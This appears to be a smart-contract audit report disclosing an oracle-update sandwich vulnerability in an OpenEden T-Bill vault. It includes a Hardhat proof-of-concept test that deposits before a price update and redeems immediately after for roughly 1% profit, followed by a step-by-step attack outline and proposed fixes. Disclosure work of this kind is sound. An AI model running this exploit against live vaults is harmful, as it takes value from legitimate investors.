https://github.com/OpenEdenHQ/openeden.vault.audit/tree/d18288e944df21729b18d430b2afec2da99b6287
Users can exploit the absence of time lock or delay between deposits/withdrawals and T-Bill oracle price updates to extract risk-free profits through sandwich attacks. By monitoring oracle price feeds off-chain, attackers can selectively participate only in profitable price movements while avoiding any losses, creating an unfair advantage over legitimate investors.
The vulnerability stems from the immediate execution of deposits and withdrawals in relation to oracle price updates, allowing sophisticated actors to sandwich oracle updates for guaranteed profits.
Share Calculation: When users call the deposit function, their share amount is calculated using the shares formula
Price Dependency: The T-Bill/USDC rate is determined by the tbillRateFormula, which fetches tbillUsdPrice from the tbillPriceOracle that update Price every day according to the natspac
Sandwich Strategy: Attackers can:
Paste the following PoC in: "deposit/withdraw tbill/usdc 1:1"
Run it via: npx hardhat test --grep "Oracle Update can be sandwitched"
it ("Oracle Update can be sandwitched",async function () {
// Fetch the current prices
const tbillPrice= await tbillOracle.latestAnswer();
console.log ("tbillPrice:",tbillPrice); // 1:1 tbill/USD
// investor1 observed that there is an update
// He made a deposit
await vaultV4.connect(investor1).deposit(_100k,investor1.address);
const inv1shares= await vaultV4.balanceOf(investor1.address);
const amountInvested = _100k;
console.log("inv1shares",inv1shares);
// previewing converting user shares to assets before update
const inv1SharesToAssets=await vaultV4.previewRedeem(inv1shares);
console.log("inv1sharesToAssets",inv1SharesToAssets)
// Updating the price to 1:1.2 USD
const NewtbillOraclePrice = BigNumber.from("100999999"); // to fit in the 1% max deviation
await tbillOracle.updatePrice(NewtbillOraclePrice);
const newPrice = await tbillOracle.latestAnswer();
console.log("newPrice",newPrice);
// previewing shares to assets after update
inv1SharesToAssets=await vaultV4.previewRedeem(inv1shares);
console.log("inv1sharesToAssets",inv1SharesToAssets)
// Investor1 tries to redeem his shares
// Prepare redemption contract
await usycTokenIns.connect(usycTreasuryAccount).approve(usycRedemptionIns.address, _10M);
const investor1Balance=await vaultV4.balanceOf(investor1.address);
// Investor1 redeems their shares
const investor1RedeemTx = await vaultV4.connect(investor1).redeemIns(investor1Balance, investor1.address);
const investor1Receipt = await investor1RedeemTx.wait();
const investor1RedeemEvent = investor1Receipt.events?.find(e => e.event === 'ProcessWithdraw');
if (investor1RedeemEvent) {
// args[2] = total assets before fee deduction
// args[4] = actual assets transferred to user (after fee deduction)
// args[8] = total fee deducted
const investor1AssetsReceived = investor1RedeemEvent.args[4]; // _assetsToUser
const investor1FeesPaid = investor1RedeemEvent.args[8]; // _totalFee
console.log(`Investor1 (non-partner) received assets: ${investor1AssetsReceived}`);
console.log(`Investor1 total fees paid: ${investor1FeesPaid}`);
const profit = investor1AssetsReceived-amountInvested;
console.log(`Investor1 profit: ${profit}`); // 900$ on 100k deposit approx 1% freeRisk Money
}
});
Deposit/Withdraw Lock before oracle Price UpdateTWAP instead of fixed price to use avg price at time intervalStep 1: MemPool Monitoring
Step 2: Front-Run oracleUpdate with a Deposit
Step 3: Oracle Price Update
Step 4: Immediate Withdrawal
Step 5: Risk-Free Profit The attacker receives approximately $100,900 back (after fees) on their $100,000 deposit - capturing nearly the entire 1% price appreciation as pure profit, despite holding the position for only seconds.